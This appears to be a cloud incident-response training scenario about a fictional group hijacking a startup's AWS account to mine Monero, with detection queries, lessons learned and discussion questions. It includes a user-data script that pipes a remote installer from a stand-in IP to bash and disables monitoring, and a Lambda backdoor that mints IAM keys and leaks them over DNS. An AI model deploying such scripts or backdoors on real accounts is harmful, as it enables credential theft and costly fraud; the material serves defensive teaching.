SC-027: Cloud Cryptomining Infrastructure Abuse¶

Threat Actor Profile¶

COIN SHADOW is an opportunistic eCrime group active since 2023, exclusively focused on compromising cloud accounts to deploy cryptocurrency mining infrastructure. Unlike targeted APT groups, COIN SHADOW operates at scale — using automated tooling to continuously scan for exposed cloud credentials in public repositories, CI/CD logs, and paste sites, then rapidly deploying mining workloads before the account owner detects the abuse.

The group operates a sophisticated automation platform capable of deploying mining infrastructure across AWS, Azure, and GCP simultaneously. Their tooling automatically selects the highest-value instance types (GPU instances for Ethereum/Monero mining), distributes workloads across multiple regions to stay below per-region quotas, and rotates mining pool configurations to complicate attribution.

COIN SHADOW has been observed generating $50,000–$500,000 in fraudulent cloud charges per victim, with an average cloud bill impact of $127,000. They typically exhaust cloud service provider credit limits within 48–72 hours.

Motivation: Financial — cryptocurrency mining (primarily Monero via XMRig on CPUs, Ethereum via T-Rex on GPUs).

Estimated Revenue: $8M–$12M annually from ~200 compromised cloud accounts.

Target Environment¶

Organization: Stratos Analytics (fictional) — a data science startup with 85 employees, providing ML-powered analytics for the retail sector. Heavy cloud consumer with $40K/month baseline spend.

Scenario Narrative¶

Phase 1 — Credential Compromise (~25 min)¶

A junior data scientist at Stratos Analytics commits an AWS access key to a public GitHub repository. The key belongs to the ml-pipeline-sa IAM user, which is used for automated ML training pipeline operations. The commit message reads: "fix: update config for new training cluster."

The .env file containing the key is committed at 2026-03-05T09:22:00Z. Within 14 minutes, COIN SHADOW's automated scanner detects the exposed credential via the GitHub Events API (which streams all public events in real-time):

# Exposed in public commit
AWS_ACCESS_KEY_ID=AKIA4EXAMPLE1234567
AWS_SECRET_ACCESS_KEY=EXAMPLEKEY+abcdef1234567890EXAMPLE
AWS_DEFAULT_REGION=us-east-1

The ml-pipeline-sa user has the following IAM policy attached:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ec2:*",
        "s3:*",
        "sagemaker:*",
        "iam:PassRole",
        "sts:GetCallerIdentity"
      ],
      "Resource": "*"
    }
  ]
}

The wildcard ec2:* permission is the critical misconfiguration — it allows the creation of any EC2 instance type in any region, including GPU instances that the ML pipeline never uses.

Evidence Artifacts:

Phase 2 — Mass GPU Instance Deployment (~35 min)¶

Within 22 minutes of validating the stolen credentials, COIN SHADOW's automation platform begins deploying GPU instances across 8 AWS regions simultaneously. The attacker's tooling is sophisticated — it:

1. Queries ec2:DescribeInstanceTypeOfferings in each region to find available GPU instance types
2. Requests service quota increases via servicequotas:RequestServiceQuotaIncrease for GPU instances in regions where the current quota is zero
3. Creates new VPCs and security groups in each region (Stratos only uses 2 regions)
4. Launches instances using the cheapest available GPU type in each region

The deployment pattern:

Total: 140 GPU instances — estimated hourly cost: $347/hr ($8,328/day)

Each instance boots with a user-data script that automatically downloads and configures XMRig for Monero mining:

#!/bin/bash
# User-data script (COIN SHADOW automation)
apt-get update -qq && apt-get install -y -qq libhwloc-dev
curl -sL https://198.51.100.88/xmr-deploy.sh | bash -s -- \
  --pool stratum+tcp://198.51.100.120:3333 \
  --wallet 4EXAMPLE_MONERO_WALLET_ADDRESS_SYNTHETIC \
  --threads $(nproc) \
  --gpu auto \
  --stealth true
# Disable CloudWatch agent to reduce visibility
systemctl stop amazon-cloudwatch-agent 2>/dev/null
systemctl disable amazon-cloudwatch-agent 2>/dev/null

Within 2 hours, all 140 instances are running XMRig at full capacity. The combined hash rate is approximately 280 KH/s (CPU) + 42 MH/s (GPU).

Evidence Artifacts:

Phase 3 — Escalation & Persistence (~25 min)¶

While the mining operation runs, COIN SHADOW's tooling also establishes persistence to survive credential rotation:

1. New IAM User: Creates svc-monitoring-agent with AdministratorAccess policy and generates access keys
2. Lambda Backdoor: Deploys a Lambda function CloudWatchHealthCheck that, when triggered daily by an EventBridge rule, creates new access keys for the attacker if the original keys are disabled
3. S3 Bucket for Mining Config: Creates stratos-analytics-logs-backup bucket to host mining pool configurations and binaries

# CloudTrail events showing IAM persistence
CreateUser: svc-monitoring-agent
AttachUserPolicy: arn:aws:iam::policy/AdministratorAccess
CreateAccessKey: AKIA4EXAMPLE7654321 (for svc-monitoring-agent)

# Lambda function: CloudWatchHealthCheck (attacker deployed)
import boto3
import json

def lambda_handler(event, context):
    iam = boto3.client('iam')
    try:
        # Check if primary key still works
        sts = boto3.client('sts')
        sts.get_caller_identity()
    except:
        # If primary key rotated, create new one
        keys = iam.create_access_key(UserName='svc-monitoring-agent')
        # Exfiltrate new key via DNS
        import socket
        key_id = keys['AccessKey']['AccessKeyId']
        socket.getaddrinfo(f'{key_id}.keys.198.51.100.88.nip.io', 80)
    return {'statusCode': 200}

{
  "Name": "CloudWatchHealthSchedule",
  "ScheduleExpression": "rate(6 hours)",
  "Targets": [{
    "Arn": "arn:aws:lambda:us-east-1:123456789012:function:CloudWatchHealthCheck",
    "Id": "health-check-target"
  }]
}

Evidence Artifacts:

Phase 4 — Detection, Response & Financial Impact (~25 min)¶

Stratos Analytics' cloud bill escalates rapidly. The single billing alert at 150% ($60,000) fires on Day 3 — by which time the cumulative charges have already reached $24,984. The alert email goes to finance@stratos-analytics.example.com, where it sits unread until Monday morning (the alert fired on Saturday).

Financial Impact Timeline:

After termination, Stratos Analytics discovers additional charges:

AWS Support grants a one-time courtesy credit of $38,000 after reviewing CloudTrail evidence confirming unauthorized access. Stratos Analytics absorbs $11,968 in losses.

Evidence Artifacts:

Indicators of Compromise (IOCs)¶

Detection Opportunities¶

SIEM Detection Queries¶

// Detect EC2 instance launches in unusual regions
AWSCloudTrail
| where EventName == "RunInstances"
| where AWSRegion !in ("us-east-1", "us-west-2")
| summarize InstanceCount = count() by AWSRegion, UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 1h)
| where InstanceCount > 5
| sort by InstanceCount desc

// Detect GPU instance launches
AWSCloudTrail
| where EventName == "RunInstances"
| where RequestParameters has_any ("p3.", "p4.", "g4dn.", "g5.", "p5.")
| project TimeGenerated, UserIdentityArn, SourceIpAddress, AWSRegion,
          InstanceType = extract('"instanceType":"([^"]+)"', 1, RequestParameters)
| sort by TimeGenerated desc

// Detect IAM user creation with admin policy
AWSCloudTrail
| where EventName in ("CreateUser", "AttachUserPolicy")
| where RequestParameters has "AdministratorAccess"
| project TimeGenerated, UserIdentityArn, SourceIpAddress, EventName,
          TargetUser = extract('"userName":"([^"]+)"', 1, RequestParameters)

// Detect API calls from unexpected source IPs
AWSCloudTrail
| where UserIdentityArn has "ml-pipeline-sa"
| where SourceIpAddress != "198.51.100.40"
| summarize EventCount = count(), Events = make_set(EventName) by SourceIpAddress, bin(TimeGenerated, 1h)
| sort by TimeGenerated desc

// Detect EC2 launches in unusual regions
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
NOT awsRegion IN ("us-east-1", "us-west-2")
| stats count as instance_count by awsRegion, userIdentity.arn, sourceIPAddress
| where instance_count > 5
| sort -instance_count

// Detect GPU instance type launches
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
requestParameters="*p3.*" OR requestParameters="*p4.*"
OR requestParameters="*g4dn.*" OR requestParameters="*g5.*"
| spath output=instance_type path=requestParameters.instanceType
| table _time, userIdentity.arn, sourceIPAddress, awsRegion, instance_type

// Detect new IAM users with admin policies
index=aws sourcetype=aws:cloudtrail
eventName=CreateUser OR eventName=AttachUserPolicy
requestParameters="*AdministratorAccess*"
| table _time, userIdentity.arn, sourceIPAddress, eventName, requestParameters

// Detect compromised key usage from unknown IPs
index=aws sourcetype=aws:cloudtrail
userIdentity.arn="*ml-pipeline-sa*"
NOT sourceIPAddress="198.51.100.40"
| stats count, values(eventName) as events by sourceIPAddress
| sort -count

ATT&CK Mapping¶

Response Actions¶

Lessons Learned¶

What Went Well¶

• AWS GuardDuty detected the cryptocurrency mining activity within 45 minutes of instance launch
• CloudTrail provided complete audit trail for forensic investigation and AWS billing credit claim
• AWS Support granted a significant courtesy credit ($38,000) based on documented evidence

What Failed¶

• No secret scanning: No pre-commit hooks, no GitHub secret scanning — the exposed key was preventable
• Overly permissive IAM policy: ec2:* on Resource: * allowed the attacker to launch any instance in any region — the ML pipeline only needed RunInstances for specific instance types in 2 regions
• Single billing alert at too high a threshold: 150% of monthly budget meant the alert did not fire until Day 3, by which time $25K in charges had accumulated
• No alerting pipeline for GuardDuty: Findings went to a shared email inbox, unmonitored on weekends
• No MFA on programmatic access: The compromised access key had no MFA requirement, allowing immediate use by the attacker
• No region restrictions: The AWS account had no Service Control Policies restricting which regions could be used

Key Takeaways¶

1. Credential exposure is the fastest path to cloud compromise — pre-commit scanning and secret detection are essential controls with high ROI
2. IAM least privilege prevents blast radius expansion — restricting ec2:* to specific instance types and regions would have blocked the GPU deployment entirely
3. Billing monitoring is a security control — anomaly-based daily cost alerts detect resource hijacking faster than percentage-based monthly thresholds
4. Alerting pipelines must be 24/7 — email-only alerting with no on-call rotation means weekend incidents go undetected for days
5. AWS Organizations and SCPs are critical for governance — single-account setups lack the guardrails to prevent region and service sprawl

Discussion Questions¶

1. The compromised IAM key had ec2:* permissions. What is the practical process for implementing least-privilege IAM policies in a startup environment where developers prioritize speed? How do tools like IAM Access Analyzer and CloudTrail-based policy generation help?
2. COIN SHADOW's automation deployed 140 instances within 24 minutes. How would AWS Service Control Policies (SCPs) with region restrictions and instance type allow-lists prevent this? What SCPs would you deploy?
3. The billing alert fired on Day 3 (Saturday) and went unread until Monday. Design a cost anomaly detection system that would have detected this within 2 hours of the attack beginning.
4. The attacker created a Lambda-based persistence mechanism. How do you systematically audit for serverless persistence (Lambda, Step Functions, EventBridge) in AWS? What automation would you build?
5. AWS granted a $38,000 courtesy credit. What if they hadn't? How does cyber insurance cover cloud resource abuse? What contractual protections should cloud customers negotiate?

References¶

• Chapter 20: Cloud Attack & Defense
• Chapter 9: Incident Response Lifecycle
• Chapter 6: Triage & Investigation
• Cheat Sheet: Cloud Security
• Cheat Sheet: IAM Security
• IR Playbook: Cryptojacking Response